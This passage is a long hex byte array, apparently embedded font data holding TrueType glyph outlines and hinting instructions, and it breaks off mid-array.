0x31,0x30,0x1,0x33,0x11,0x10,0x6,0x21,0x20,0x26,0x3d,0x1,0x11,0x33,0x11,0x14, + 0x16,0x33,0x20,0x36,0x35,0x4,0x22,0x9a,0xd1,0xfe,0xb2,0xfe,0xc7,0xe1,0x9a,0x7e, + 0xf7,0x1,0xc,0x84,0x5,0x55,0xfc,0x44,0xfe,0xfc,0xa3,0x9d,0xdc,0x2e,0x3,0xbc, + 0xfc,0x44,0xc2,0x63,0x61,0xc4,0x0,0x0,0x1,0xff,0xf6,0x0,0x0,0x4,0x9d,0x5, + 0x55,0x0,0xc,0x0,0x47,0x40,0xd,0xc,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x4, + 0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x0,0xb6,0x1,0x0,0x5,0x4,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd, + 0x13,0xb1,0x3,0x2,0x2f,0x3c,0x40,0xc,0x1,0xc,0xb,0xa,0x9,0x8,0x7,0x6, + 0x7,0x2,0x0,0x2,0x11,0x14,0x12,0x17,0x39,0x14,0x31,0x30,0x1,0x33,0x1,0x23, + 0x1,0x33,0x1,0x17,0x16,0x17,0x33,0x36,0x37,0x3,0xf8,0xa5,0xfe,0x1d,0xdc,0xfe, + 0x18,0xa4,0x1,0x6c,0x24,0x14,0xd,0x4,0x1e,0x25,0x5,0x55,0xfa,0xab,0x5,0x55, + 0xfb,0xf9,0x69,0x3d,0x2c,0x65,0x6b,0x0,0x1,0x0,0x3,0x0,0x0,0x7,0xf9,0x5, + 0x55,0x0,0x23,0x0,0x9e,0x40,0x24,0x23,0x22,0x21,0x20,0x1f,0x1e,0x1d,0x1c,0x1b, + 0x1a,0x19,0x18,0x17,0x16,0x15,0x14,0x13,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb, + 0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0, + 0x40,0x9,0x1,0x0,0x23,0x1a,0x19,0xf,0xe,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd, + 0xcd,0xcd,0xcd,0x13,0xb4,0xd,0xc,0x2,0x1,0x3,0x17,0x2f,0x3c,0x40,0x16,0x1, + 0x22,0x21,0x20,0x1f,0x1e,0x1d,0x1c,0x1b,0x18,0x17,0x16,0x15,0x14,0x13,0x12,0x11, + 0x10,0x11,0x2,0x0,0x1,0x11,0x14,0x12,0x17,0x39,0x14,0x40,0xe,0x1,0xb,0xa, + 0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x9,0xe,0x2,0x0,0x13,0x11,0x12,0x17,0x39, + 0x13,0x31,0x30,0x9,0x1,0x23,0x1,0x27,0x26,0x2f,0x1,0x23,0xf,0x2,0x1,0x23, + 0x1,0x33,0x1,0x17,0x16,0x1f,0x1,0x33,0x3f,0x2,0x1,0x33,0x1,0x1f,0x2,0x33, + 0x3f,0x2,0x1,0x7,0xf9,0xfe,0x52,0xea,0xfe,0xe1,0x24,0x3,0xe,0x12,0x3,0x11, + 0x12,0x25,0xfe,0xdc,0xe6,0xfe,0x5d,0x9e,0x1,0x26,0x28,0x5,0xf,0x13,0x3,0x13, + 0x13,0x27,0x1,0x22,0xe4,0x1,0x20,0x27,0x12,0x13,0x3,0x14,0x14,0x29,0x1,0x2c, + 0x5,0x55,0xfa,0xab,0x3,0xd7,0x7b,0xa,0x33,0x3e,0x3e,0x3e,0x7c,0xfc,0x2b,0x5, + 0x55,0xfc,0x2b,0x85,0x10,0x32,0x43,0x43,0x42,0x84,0x3,0xd6,0xfc,0x29,0x83,0x43, + 0x42,0x43,0x43,0x86,0x3,0xd3,0x0,0x0,0x1,0xff,0xf6,0x0,0x0,0x4,0xb0,0x5, + 0x55,0x0,0x1d,0x0,0x4c,0x40,0xe,0x1d,0x18,0x17,0x12,0x11,0x10,0xf,0xe,0x9, + 0x8,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x0,0x1d,0x12,0x11,0x0,0x0,0x13,0x10,0xcd,0xcd, + 0xcd,0xcd,0x13,0xb4,0xf,0xe,0x3,0x2,0x3,0x17,0x2f,0x3c,0x40,0xb,0x1,0x18, + 0x17,0x10,0x9,0x8,0x1,0x6,0x2,0x0,0x2,0x11,0x14,0x12,0x17,0x39,0x14,0x31, + 0x30,0x9,0x2,0x23,0x1,0x27,0x26,0x2f,0x1,0x23,0x7,0x6,0xf,0x1,0x1,0x23, + 0x9,0x1,0x33,0x1,0x17,0x16,0x1f,0x1,0x33,0x37,0x36,0x3f,0x1,0x1,0x4,0x8f, + 0xfe,0x4c,0x1,0xd5,0xb6,0xfe,0xc4,0x32,0x4,0x13,0x18,0x4,0x18,0x14,0x5,0x34, + 0xfe,0xbf,0xbd,0x1,0xe8,0xfe,0x3f,0xba,0x1,0x2f,0x2a,0x8,0xd,0x14,0x4,0x14, + 0x10,0x4,0x29,0x1,0x2b,0x5,0x55,0xfd,0x6d,0xfd,0x3e,0x1,0xde,0x4b,0x6,0x1f, + 0x26,0x27,0x1d,0x9,0x4c,0xfe,0x25,0x2,0xc2,0x2,0x93,0xfe,0x39,0x40,0xc,0x14, + 0x20,0x1f,0x1b,0x5,0x3f,0x1,0xc9,0x0,0x1,0xff,0xf6,0x0,0x0,0x4,0x8b,0x5, + 0x55,0x0,0x11,0x0,0x5f,0xb1,0x4,0x3,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd, + 0x3c,0xb3,0x7,0x6,0x5,0x3,0x10,0xc0,0xc0,0xc0,0xb3,0x11,0x10,0x0,0x1,0x10, + 0xc0,0xc0,0xc0,0x40,0xb,0xf,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x8,0x1,0x3, + 0x11,0x12,0x17,0x39,0x0,0xb6,0x1,0x0,0x11,0x6,0x5,0x0,0x0,0x13,0x10,0xcd, + 0xcd,0xcd,0xcd,0x13,0xb1,0x3,0x2,0x2f,0x3c,0x40,0x11,0x1,0x10,0xf,0xe,0xd, + 0xc,0xb,0xa,0x9,0x8,0x7,0x4,0x1,0xc,0x2,0x0,0x2,0x11,0x14,0x12,0x17, + 0x39,0x14,0x31,0x30,0x9,0x1,0x11,0x23,0x11,0x1,0x33,0x1,0x17,0x16,0x1f,0x1, + 0x33,0x36,0x3f,0x2,0x1,0x4,0x8b,0xfd,0xfc,0x9a,0xfe,0x9,0xb3,0x1,0x25,0x38, + 0xb,0x11,0x1b,0x4,0x12,0x9,0x1b,0x39,0x1,0x24,0x5,0x55,0xfc,0xe5,0xfd,0xc6, + 0x2,0x3a,0x3,0x1b,0xfe,0x33,0x59,0x10,0x1c,0x2d,0x1e,0xf,0x2c,0x59,0x1,0xcd, + 0x0,0x0,0x1,0x0,0x30,0x0,0x0,0x4,0x59,0x5,0x55,0x0,0xb,0x0,0x5a,0xb1, + 0x7,0x6,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x5, + 0x4,0x2f,0x3c,0xb6,0x9,0x8,0x3,0x2,0x4,0x1,0xa,0x11,0x12,0x17,0x39,0x0, + 0x40,0xc,0x1,0xa,0x9,0x1,0x1,0x0,0xb,0x0,0x4,0x3,0x0,0x0,0x13,0x10, + 0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0x13,0xb1,0x6,0x5,0x2f,0x3c,0xb5, + 0x1,0x7,0x2,0x2,0x0,0x3,0x11,0x14,0x12,0x39,0x39,0x14,0xb4,0x1,0x8,0x1, + 0x2,0x0,0x13,0x11,0x12,0x39,0x13,0x31,0x30,0x1,0x15,0x1,0x15,0x21,0x15,0x21, + 0x35,0x1,0x35,0x21,0x35,0x4,0x47,0xfc,0xa5,0x3,0x6d,0xfb,0xd7,0x3,0x59,0xfc, + 0xc0,0x5,0x55,0x82,0xfb,0xb2,0x3,0x82,0x85,0x4,0x4b,0x3,0x82,0x0,0x2,0xff, + 0xf7,0x0,0x0,0x7,0x2a,0x5,0x55,0x0,0xf,0x0,0x13,0x0,0x71,0xb4,0x0,0x5, + 0x4,0x1,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb4,0xf,0xe,0x7,0x6, + 0x3,0x17,0x2f,0x3c,0xb5,0x10,0x11,0x9,0x8,0x3,0x1,0x10,0x17,0xdd,0x3c,0xb6, + 0x13,0x12,0xd,0xc,0xb,0xa,0x8,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x0,0x40, + 0xd,0x1,0x12,0x11,0x0,0xf,0x1,0xe,0xd,0x0,0x6,0x5,0x0,0x0,0x13,0x10, + 0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb4,0xc,0xb,0x8,0x7, + 0x3,0x17,0x2f,0x3c,0xb1,0xa,0x9,0x2f,0x3c,0xb1,0x2,0x1,0x2f,0x3c,0xb2,0x10, + 0x13,0x9,0x10,0xdd,0x3c,0xb2,0x4,0x3,0x1,0x10,0xdd,0x3c,0x31,0x30,0x1,0x11, + 0x21,0x15,0x21,0x11,0x21,0x15,0x21,0x11,0x21,0x3,0x23,0x1,0x21,0x15,0x1,0x11, + 0x23,0x1,0x4,0x60,0x2,0xaa,0xfd,0x56,0x2,0xca,0xfc,0x9c,0xfd,0x83,0x9c,0xb6, + 0x2,0xf7,0x4,0x3c,0xfc,0x9c,0x7c,0xfe,0x47,0x4,0xd3,0xfe,0x2c,0x82,0xfe,0x5, + 0x82,0x1,0x1f,0xfe,0xe1,0x5,0x55,0x82,0xfc,0xce,0x3,0x32,0xfc,0xce,0x0,0x0, + 0x2,0x0,0x4c,0xff,0xf2,0x7,0xa0,0x5,0x63,0x0,0x19,0x0,0x2b,0x0,0x81,0xb4, + 0x0,0x5,0x4,0x1,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb4,0x19,0x18, + 0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x28,0x1,0x10,0xdd,0xb2,0x29,0xf,0x28,0x10, + 0xc4,0xc0,0x40,0x9,0x17,0x16,0x15,0xa,0x9,0x8,0x6,0x1,0x28,0x11,0x12,0x17, + 0x39,0xb1,0x1e,0xf,0x10,0xcd,0x0,0xb1,0x8,0x7,0x2f,0x3c,0xb1,0x2,0x1,0x2f, + 0x3c,0xb1,0x18,0x17,0x2f,0x3c,0xb2,0x4,0x3,0x1,0x10,0xdd,0x3c,0xb5,0xa,0x9, + 0x6,0x5,0x3,0x7,0x10,0x17,0xdd,0x3c,0xb5,0x0,0x19,0x16,0x15,0x3,0x17,0x10, + 0x17,0xdd,0x3c,0xb4,0x1,0x29,0x15,0x2,0x0,0x13,0x11,0x12,0x39,0x13,0xb3,0x13, + 0x1,0xc,0x0,0x3f,0x3f,0xb3,0x23,0xc,0x1a,0x13,0x10,0xcd,0x10,0xcd,0x31,0x30, + 0x1,0x11,0x21,0x15,0x21,0x11,0x21,0x15,0x21,0x37,0x23,0x6,0x21,0x20,0x26,0x11, + 0x10,0x37,0x36,0x21,0x20,0x17,0x33,0x27,0x21,0x15,0x25,0x20,0x6,0x11,0x15,0x14, + 0x17,0x1e,0x1,0x33,0x20,0x36,0x35,0x3f,0x1,0x27,0x2e,0x1,0x4,0xd1,0x2,0xb1, + 0xfd,0x4f,0x2,0xcf,0xfc,0x9c,0x4,0x4,0x5c,0xfe,0xc3,0xfe,0x86,0xdd,0x28,0x56, + 0x1,0xad,0x1,0x6d,0x58,0x4,0x4,0x3,0x64,0xfa,0xa5,0xfe,0xfd,0x63,0xa,0x11, + 0x99,0xeb,0x1,0x1e,0x96,0x1,0x4,0x7,0x10,0xa5,0x4,0xc7,0xfe,0x3b,0x82,0xfe, + 0x7,0x82,0x82,0x95,0xc6,0x1,0x53,0x2,0xd,0x69,0xe2,0x9c,0x82,0x82,0x1a,0xa7, + 0xfe,0x4c,0x8d,0x68,0x48,0x85,0x50,0x76,0xe1,0xd7,0xd2,0x8d,0x94,0x4c,0x0,0x0, + 0x3,0x0,0x14,0xff,0xf2,0x4,0xf4,0x5,0x63,0x0,0x13,0x0,0x1e,0x0,0x27,0x0, + 0x75,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0x40,0x10,0xe,0x4,0x27, + 0x1f,0x1e,0x1c,0x14,0x13,0xe,0xc,0x9,0x4,0x2,0xb,0xa,0x1,0x11,0x12,0x17, + 0x39,0x2f,0x2f,0xb3,0x25,0x4,0x1b,0xe,0x10,0xcd,0x10,0xcd,0x0,0xb3,0x1,0xa, + 0x1,0x0,0x13,0x10,0xc0,0x13,0x40,0xd,0x1,0x1,0x27,0x14,0x13,0x2,0x1,0x0, + 0x6,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x40,0xd,0x1, + 0x1,0x1f,0x1e,0x1c,0xc,0xb,0x9,0x6,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12, + 0x17,0x39,0x13,0x14,0xb3,0x11,0x0,0x7,0x1,0x3f,0x3f,0xb3,0x22,0x7,0x17,0x11, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x37,0x35,0x37,0x26,0x11,0x10,0x36,0x21,0x20,0x17, + 0x37,0x15,0x7,0x16,0x11,0x10,0x6,0x21,0x20,0x27,0x37,0x1e,0x1,0x21,0x32,0x36, + 0x35,0x13,0x27,0x26,0x2f,0x1,0x2e,0x1,0x23,0x20,0x6,0x11,0x10,0x17,0x14,0x4c, + 0x22,0xc4,0x1,0x9c,0x1,0x73,0x62,0x81,0x4f,0x25,0xaf,0xfe,0x6d,0xfe,0x79,0x70, + 0x6f,0x2a,0x89,0x1,0x11,0xe9,0x89,0x1,0x8,0x2,0x7,0x1f,0x28,0x8a,0xf8,0xfe, + 0xf0,0x7c,0xf,0x7,0x98,0x49,0x74,0x1,0x61,0x1,0xcb,0xdb,0x89,0x7d,0x98,0x4d, + 0x76,0xfe,0xe0,0xfd,0xf8,0xe2,0x8f,0x6a,0x53,0x24,0x89,0xea,0x1,0x47,0x91,0x13, + 0x25,0x7b,0x4b,0x24,0x8c,0xfe,0xcc,0xfe,0xb9,0x75,0x0,0x0,0x2,0x0,0x4c,0xfe, + 0x7d,0x4,0x9a,0x5,0x63,0x0,0x1f,0x0,0x23,0x0,0x6d,0x40,0xc,0x23,0x22,0x21, + 0x20,0x1f,0x12,0x11,0x10,0x8,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2f,0x2e,0x2e,0x2e, + 0x2f,0x2e,0x2e,0x2e,0x2e,0xb1,0x19,0x8,0x10,0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c, + 0xb1,0x12,0x11,0x2f,0x3c,0xb5,0x1,0x1f,0x2,0x1,0x0,0x0,0x13,0x11,0x12,0x39, + 0x39,0x13,0xb6,0x1,0x1,0x10,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13, + 0x14,0x40,0xb,0x1,0x1,0x23,0x22,0x21,0x20,0x4,0x0,0x0,0x3,0x0,0x13,0x11, + 0x14,0x12,0x17,0x39,0x13,0x14,0xb3,0xd,0x1,0x5,0x0,0x3f,0x3f,0xb3,0x1c,0x5, + 0x16,0xd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33,0x15,0x10,0x6,0x21,0x20,0x26, + 0x11,0x10,0x36,0x37,0x36,0x21,0x20,0x16,0x15,0x17,0x23,0x27,0x34,0x26,0x23,0x20, + 0x6,0x15,0x10,0x16,0x21,0x20,0x36,0x35,0x1,0x17,0x7,0x27,0x4,0x1,0x99,0xbe, + 0xfe,0x81,0xfe,0xa9,0xba,0x2a,0x63,0x74,0x1,0x81,0x1,0x5,0xb5,0x1,0x99,0x1, + 0x6b,0xbc,0xfe,0xb6,0x92,0x62,0x1,0x1e,0x1,0x10,0x87,0xfe,0x7e,0x70,0xa0,0x5b, + 0x1,0xc8,0x34,0xfe,0xe9,0x8b,0xf5,0x1,0xc6,0x1,0x63,0xb7,0x48,0x54,0xa2,0xe8, + 0x25,0x2a,0xa5,0x5e,0x6e,0xfa,0xfd,0xc1,0xc6,0x56,0xad,0xfe,0x25,0x3f,0xe0,0x31, + 0x0,0x0,0x2,0x0,0x59,0xff,0xf2,0x3,0x8c,0x3,0xca,0x0,0x1c,0x0,0x27,0x0, + 0x60,0xb1,0x8,0x7,0x2f,0x3c,0xb3,0x16,0x15,0x9,0x7,0x10,0xdd,0x3c,0x3c,0xb5, + 0x1b,0x14,0xf,0x1,0x0,0x9,0x10,0xc0,0xc0,0xc4,0xc0,0xc4,0xb6,0x25,0x25,0xb, + 0xa,0x3,0x7,0x9,0x11,0x12,0x17,0x39,0x2f,0xb1,0x20,0xf,0x10,0xcd,0x0,0xb1, + 0x9,0x8,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xb,0x12,0x16,0x15,0x14,0x12, + 0xb,0xa,0x7,0x7,0x1,0x8,0x11,0x12,0x17,0x39,0x2f,0xb3,0xd,0x0,0x4,0x2, + 0x3f,0x3f,0xb5,0x23,0xd,0x1d,0x12,0x19,0x4,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31, + 0x30,0x1,0x23,0x34,0x36,0x33,0x32,0x16,0x15,0x11,0x23,0x37,0x27,0x6,0x23,0x20, + 0x11,0x34,0x36,0x33,0x32,0x17,0x37,0x35,0x34,0x26,0x23,0x20,0x15,0x14,0x17,0x22, + 0x6,0x15,0x14,0x16,0x33,0x20,0x35,0x34,0x26,0x1,0xd,0x8b,0x97,0xdc,0xef,0xa8, + 0x8c,0xb,0x3,0x50,0xf5,0xfe,0x96,0xa2,0xd4,0xfc,0x32,0x3,0x5a,0x98,0xfe,0xfe, + 0xe2,0xa1,0x61,0x60,0x93,0x1,0x28,0x73,0x2,0xb0,0xa7,0x73,0x8d,0xc6,0xfd,0x89, + 0x67,0x1,0x76,0x1,0x23,0xad,0x84,0x63,0x1,0x74,0xa4,0x61,0x91,0x7,0xec,0x44, + 0x70,0x74,0x4b,0xb4,0x71,0x4e,0x0,0x0,0x2,0x0,0x7b,0xff,0xf2,0x3,0xb6,0x5, + 0x55,0x0,0x10,0x0,0x1c,0x0,0x59,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x10,0x3,0x2, + 0x1,0x10,0xdd,0x3c,0x3c,0xb3,0x14,0x9,0x4,0x2,0x10,0xc0,0xc4,0xc4,0xb3,0xf, + 0xe,0x2,0x1,0x11,0x12,0x39,0x39,0xb1,0x1a,0x9,0x10,0xcd,0x0,0xb4,0x1,0x2, + 0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x0,0x10,0x2f,0x3c,0x40,0x9,0x1, + 0xf,0xe,0x4,0x3,0x4,0x2,0x0,0x10,0x11,0x14,0x12,0x17,0x39,0x14,0xb3,0xc, + 0x0,0x6,0x2,0x3f,0x3f,0xb3,0x17,0xc,0x11,0x6,0x10,0xcd,0x10,0xcd,0x31,0x30, + 0x33,0x11,0x33,0x11,0x17,0x36,0x21,0x32,0x16,0x11,0x10,0x6,0x23,0x22,0x27,0x7, + 0x17,0x1,0x22,0x6,0x15,0x10,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x7b,0x8c,0x3, + 0x30,0x1,0xa,0xd2,0xa0,0xa9,0xdd,0xe1,0x4b,0x4,0x7,0x1,0x19,0xa5,0x70,0x65, + 0xb6,0x9a,0x63,0x62,0x5,0x55,0xfd,0xed,0x3,0x8b,0xda,0xfe,0xe2,0xfe,0xf1,0xd1, + 0x85,0x1,0x76,0x3,0x56,0x8d,0xd2,0xfe,0xfd,0x8e,0x91,0xe1,0xed,0x91,0x0,0x0, + 0x1,0x0,0x5f,0xff,0xf2,0x3,0x99,0x3,0xca,0x0,0x1a,0x0,0x31,0xb6,0xf,0xe, + 0xd,0x7,0x2,0x1,0x0,0x2e,0x2e,0x2f,0x2f,0x2e,0x2e,0x2f,0xb1,0x15,0x7,0x10, + 0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xe,0xd,0x2f,0x3c,0xb3,0xa,0x2,0x4, + 0x0,0x3f,0x3f,0xb3,0x18,0x4,0x12,0xa,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33, + 0x17,0x10,0x21,0x20,0x26,0x11,0x10,0x36,0x33,0x32,0x16,0x15,0x23,0x35,0x34,0x26, + 0x23,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x3,0xc,0x8c,0x1,0xfe,0x6e,0xfe, + 0xfe,0xa6,0xa9,0xed,0xe9,0xaa,0x8c,0x6e,0xa4,0x9e,0x5a,0x67,0xbd,0xa0,0x56,0x1, + 0x59,0x34,0xfe,0xcd,0xc2,0x1,0x2f,0x1,0x1c,0xcb,0x89,0xbd,0x19,0x6f,0x4a,0x8c, + 0xf4,0xee,0x82,0x55,0x0,0x0,0x2,0x0,0x61,0xff,0xf2,0x3,0x9a,0x5,0x55,0x0, + 0x10,0x0,0x1c,0x0,0x59,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x10,0xf,0x2,0x1,0x10, + 0xdd,0x3c,0x3c,0xb3,0x1a,0xe,0x9,0x2,0x10,0xc4,0xc0,0xc4,0xb3,0x4,0x3,0x1, + 0x2,0x11,0x12,0x39,0x39,0xb1,0x14,0x9,0x10,0xcd,0x0,0xb4,0x1,0x0,0x10,0x0, + 0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x40,0x9,0x1,0xf,0xe, + 0x4,0x3,0x4,0x2,0x0,0x1,0x11,0x14,0x12,0x17,0x39,0x14,0xb3,0xc,0x2,0x6, + 0x0,0x3f,0x3f,0xb3,0x17,0x6,0x11,0xc,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x11, + 0x23,0x37,0x27,0x6,0x23,0x22,0x26,0x11,0x10,0x36,0x33,0x20,0x17,0x37,0x11,0x1, + 0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x3,0x9a,0x8c,0x7,0x4, + 0x42,0xf1,0xdc,0xa1,0xa2,0xd1,0x1,0x5,0x32,0x3,0xfe,0xe7,0x9b,0x66,0x65,0x9f, + 0xad,0x68,0x73,0x5,0x55,0xfa,0xab,0x7c,0x1,0x8b,0xd6,0x1,0x24,0x1,0xd,0xd1, + 0x87,0x2,0x2,0x10,0xfe,0x1,0x8f,0xda,0xf0,0x97,0x97,0xfd,0xcd,0x8f,0x0,0x0, + 0x2,0x0,0x5f,0xff,0xf2,0x3,0xa4,0x3,0xca,0x0,0x16,0x0,0x1e,0x0,0x43,0x40, + 0x9,0x1e,0x17,0x16,0x10,0xf,0x8,0x2,0x1,0x0,0x2e,0x2e,0x2f,0x2f,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x17,0x1e,0x2f,0x3c,0xb2,0x10, + 0xf,0x1e,0x10,0xdd,0x3c,0xb4,0x1,0x16,0x1,0x0,0x0,0x13,0x11,0x12,0x39,0x13, + 0xb3,0xb,0x2,0x5,0x0,0x3f,0x3f,0xb3,0x1b,0xb,0x13,0x5,0x10,0xcd,0x10,0xcd, + 0x31,0x30,0x1,0x33,0x17,0x14,0x6,0x23,0x20,0x26,0x11,0x10,0x36,0x33,0x20,0x16, + 0x11,0x15,0x21,0x14,0x16,0x33,0x32,0x36,0x35,0x11,0x27,0x34,0x26,0x23,0x22,0x6, + 0x15,0x3,0x14,0x8f,0x1,0xb5,0xe3,0xfe,0xf8,0xa5,0xa6,0xf2,0x1,0x8,0xa4,0xfd, + 0x50,0x61,0xb2,0xa9,0x65,0x1,0x66,0xa9,0xaa,0x65,0x1,0x21,0x23,0x95,0x77,0xc1, + 0x1,0x35,0x1,0x1e,0xc4,0xaa,0xfe,0xef,0x4b,0xe2,0x7c,0x3b,0x62,0x1,0x2e,0x2d, + 0x9b,0x5d,0x6d,0xb8,0x0,0x0,0x1,0x0,0xe,0x0,0x0,0x2,0x26,0x5,0x63,0x0, + 0x13,0x0,0x67,0xb1,0x3,0x2,0x2f,0x3c,0xb4,0x0,0x5,0x4,0x1,0x3,0x17,0x2f, + 0x3c,0xb5,0x11,0x10,0xa,0x9,0x3,0x2,0x10,0x17,0xdd,0x3c,0xb5,0x13,0x12,0xf, + 0xe,0x3,0x1,0x10,0x17,0xdd,0x3c,0x0,0x40,0xc,0x1,0x12,0x11,0x2,0x1,0x2, + 0x10,0xf,0x4,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0xcd, + 0xcd,0x13,0xb1,0x0,0x13,0x2f,0x3c,0xb3,0x1,0x9,0x1,0x0,0x13,0x10,0xc0,0x13, + 0xb7,0x1,0xe,0xa,0x5,0x3,0x1,0x0,0x3,0x11,0x14,0x12,0x17,0x39,0x14,0xb1, + 0x7,0x1,0x3f,0xb1,0xc,0x7,0x10,0xcd,0x31,0x30,0x33,0x11,0x23,0x35,0x33,0x35, + 0x10,0x21,0x32,0x17,0x15,0x26,0x23,0x22,0x1d,0x1,0x33,0x15,0x23,0x11,0xa0,0x92, + 0x92,0x1,0x21,0x2b,0x3a,0x44,0x1f,0x97,0xfa,0xfa,0x3,0x48,0x74,0x8e,0x1,0x19, + 0x7,0x74,0x7,0x98,0x9b,0x74,0xfc,0xb8,0x0,0x0,0x2,0x0,0x60,0xfe,0x56,0x3, + 0x9b,0x3,0xca,0x0,0x1c,0x0,0x28,0x0,0x71,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x1c, + 0xf,0xe,0x1,0x10,0xdd,0x3c,0x3c,0xb5,0x26,0x15,0x10,0x8,0x7,0xe,0x10,0xc0, + 0xc0,0xc0,0xc4,0xc4,0xb3,0x1b,0x1a,0x1,0xe,0x11,0x12,0x39,0x39,0xb1,0x20,0x15, + 0x10,0xcd,0x0,0xb4,0x1,0x0,0x1c,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x8, + 0x7,0x2f,0x3c,0xb5,0x1,0xe,0x1,0x0,0x0,0x7,0x11,0x14,0x12,0x39,0x39,0x14, + 0x40,0x9,0x1,0x1b,0x1a,0x10,0xf,0x4,0x1c,0x0,0x0,0x13,0x11,0x12,0x17,0x39, + 0x13,0xb5,0x18,0x2,0x12,0x0,0x4,0x3,0x3f,0x3f,0x3f,0xb5,0x23,0x12,0x1d,0x18, + 0xb,0x4,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x11,0x14,0x6,0x23,0x22, + 0x26,0x35,0x33,0x14,0x16,0x33,0x32,0x36,0x3d,0x1,0x27,0x6,0x21,0x22,0x26,0x11, + 0x10,0x36,0x33,0x32,0x17,0x37,0x27,0x5,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36, + 0x35,0x34,0x26,0x3,0x9b,0xb4,0xf0,0xd6,0x9c,0x87,0x5b,0x9a,0xa0,0x6e,0x3,0x36, + 0xfe,0xfe,0xd4,0xa0,0xa3,0xdd,0xeb,0x48,0x3,0x7,0xfe,0xeb,0xa5,0x62,0x62,0xa5, + 0xa7,0x6a,0x6a,0x3,0xbc,0xfc,0x6,0xd0,0x9c,0x84,0xb5,0x7b,0x4a,0x60,0x8c,0xc0, + 0x1,0x85,0xd1,0x1,0x15,0x1,0x1f,0xd3,0x90,0x1,0x81,0x66,0x8b,0xeb,0xed,0x8d, + 0x9b,0xf5,0xd8,0x88,0x0,0x0,0x1,0x0,0x7b,0x0,0x0,0x3,0x9a,0x5,0x55,0x0, + 0x13,0x0,0x5b,0xb1,0x13,0x12,0x2f,0x3c,0xb2,0x8,0x7,0x6,0x2f,0x3c,0x3c,0xb5, + 0x0,0x11,0x10,0x1,0x3,0x12,0x10,0x17,0xdd,0x3c,0xb3,0xb,0xa,0x9,0x6,0x10, + 0xdd,0x3c,0x3c,0xb2,0x2,0x9,0x1,0x11,0x12,0x39,0x0,0xb4,0x1,0x0,0x13,0x0, + 0x0,0x13,0x10,0xcd,0xcd,0x13,0xb4,0x12,0x11,0x9,0x8,0x3,0x17,0x2f,0x3c,0x40, + 0xc,0x1,0x10,0xb,0xa,0x7,0x6,0x2,0x1,0x7,0x2,0x0,0x8,0x11,0x14,0x12, + 0x17,0x39,0x14,0xb1,0x4,0x2,0x3f,0xb1,0xd,0x4,0x10,0xcd,0x31,0x30,0x1,0x11, + 0x17,0x36,0x33,0x20,0x11,0x15,0x11,0x23,0x11,0x35,0x34,0x23,0x22,0x6,0x15,0x11, + 0x23,0x11,0x1,0x7,0x3,0x35,0xf3,0x1,0x68,0x8c,0xdd,0xb2,0x78,0x8c,0x5,0x55, + 0xfd,0xf1,0x2,0x86,0xfe,0xc0,0x27,0xfd,0x9d,0x2,0x63,0x1b,0xd8,0x7f,0xbd,0xfd, + 0xe6,0x5,0x55,0x0,0x2,0x0,0x7b,0x0,0x0,0x1,0x7,0x5,0x55,0x0,0x3,0x0, + 